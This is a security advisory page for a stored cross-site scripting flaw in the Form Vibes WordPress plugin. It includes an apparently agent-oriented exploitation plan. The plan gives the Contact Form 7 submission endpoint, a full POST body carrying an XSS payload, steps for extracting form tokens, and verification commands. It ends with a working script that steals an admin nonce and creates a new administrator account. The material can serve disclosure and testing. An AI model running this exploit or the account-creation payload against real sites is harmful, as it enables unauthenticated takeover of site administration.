Form Vibes <= 1.5.2 - Unauthenticated Stored Cross-Site Scripting via Contact Form 7 Form Field
Description
The Form Vibes – Database Manager for Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form 7 Form Field in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.5.3
Source Code
WordPress.org SVNThis exploitation research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Form Vibes** plugin (CVE-2026-13378). ### 1. Vulnerability Summary The **Form Vibes** plugin captures and stores submissions from Contact Form 7 (CF7). Version 1.5…
Show full research plan
This exploitation research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Form Vibes plugin (CVE-2026-13378).
1. Vulnerability Summary
The Form Vibes plugin captures and stores submissions from Contact Form 7 (CF7). Version 1.5.2 and below fail to sanitize user-supplied data during storage or escape it during output in the WordPress admin dashboard. An unauthenticated attacker can submit a CF7 form containing a malicious script. When an administrator views the "Form Vibes" submissions page, the script executes in their browser context, potentially leading to session hijacking or administrative account takeover.
2. Attack Vector Analysis
- Vulnerable Endpoint: The Contact Form 7 submission handler (typically
wp-json/contact-form-7/v1/contact-forms/{id}/feedbackoradmin-ajax.php). - Vulnerable Parameter: Any form field defined in the Contact Form 7 form (e.g.,
your-name,your-message, or custom fields). - Authentication: None (Unauthenticated). Contact Form 7 forms are designed for public use.
- Preconditions:
- Contact Form 7 must be installed and a form must be active.
- Form Vibes must be configured to capture submissions for that form (default behavior).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to the CF7 submission endpoint.
- Processing (CF7): CF7 processes the submission and triggers hooks for third-party integration.
- Capture (Form Vibes): Form Vibes hooks into CF7 (likely via
wpcf7_before_send_mailorwpcf7_submit). It extracts the$_POSTdata. - Storage: The plugin saves the raw, unsanitized submission data into the database (likely a table like
wp_fv_submissions). - Rendering (Sink): An administrator navigates to the Form Vibes "Submissions" page. The plugin retrieves the data and renders it in a Vue-based admin UI (referencing
assets/dist/assets/checkbox-8506caf4.jsandcollapse-item-20cd97f9.jsfor UI components). The data is output without sufficient escaping (e.g., usingv-htmlor unescaped PHPecho).
4. Nonce Acquisition Strategy
While Contact Form 7 uses nonces for some internal functions, unauthenticated submissions to public forms usually do not require a valid WordPress user nonce. However, CF7 forms require a _wpcf7 (Form ID) and _wpcf7_unit_tag.
Strategy:
- Navigate to the public page containing the Contact Form 7 form using
browser_navigate. - Use
browser_evalto extract the necessary form metadata from the DOM. - The Form ID is found in the
name="_wpcf7"hidden input. - The Unit Tag is found in the
name="_wpcf7_unit_tag"hidden input.
5. Exploitation Strategy
The goal is to inject a payload that executes when an admin views the submissions.
Step-by-Step Plan:
- Identify Form: Locate a published page with a CF7 form and extract the
_wpcf7ID. - Craft Payload: Use a standard XSS payload:
<img src=x onerror=alert(document.domain)>. - Submit Form: Use the
http_requesttool to perform a POST request mimicking a legitimate CF7 submission.
HTTP Request Details:
- URL:
https://[target]/wp-json/contact-form-7/v1/contact-forms/[FORM_ID]/feedback - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
_wpcf7:[FORM_ID]_wpcf7_version:[VERSION]_wpcf7_locale:en_US_wpcf7_unit_tag:[UNIT_TAG]_wpcf7_container_post:[POST_ID]your-name:<img src=x onerror=alert(document.domain)>your-email:attacker@example.comyour-subject:Security Researchyour-message:Testing XSS
6. Test Data Setup
- Install Plugins: Install
contact-form-7andform-vibes(v1.5.2). - Create Form: Use CF7 to create a basic form (ID 123).
- Create Page: Create a public page containing the shortcode:
[contact-form-7 id="123" title="Contact form 1"]. - User: Ensure an administrative user exists to trigger the payload.
7. Expected Results
- The CF7 submission should return a
200 OKwith a JSON body indicating success (e.g.,{"status":"mail_sent", ...}). - When the administrator visits
/wp-admin/admin.php?page=form-vibes, the browser will render the injected<img>tag. - The
onerrorevent will trigger, executingalert(document.domain).
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored raw in the database:
wp db query "SELECT * FROM wp_fv_submissions WHERE form_id=123 ORDER BY id DESC LIMIT 1;" - Admin UI Simulation: Navigate to the Form Vibes dashboard in the browser as an admin and check for the alert box.
- Source Check: Use
browser_evalon the admin page to check if the payload is rendered in the DOM without entity encoding:browser_eval("document.body.innerHTML.includes('<img src=x onerror=alert')")
9. Alternative Approaches
- Rest API Sink: If the admin UI fetches data via the REST API, check the
wp-json/form-vibes/v1/submissionsendpoint (inferred) to see if the JSON response contains the unescaped payload. - Bypass Attempts: If
your-nameis sanitized, try injecting intoyour-messageor the_wpcf7_unit_tag(if Form Vibes captures internal CF7 metadata). - Advanced Payload: Instead of
alert(), use a payload to steal the admin's nonce and create a new administrator:<script> fetch('/wp-admin/user-new.php').then(r => r.text()).then(h => { const n = h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1]; fetch('/wp-admin/user-new.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `action=createuser&_wpnonce_create-user=${n}&user_login=hacker&email=h@acker.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator` }); }); </script>
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.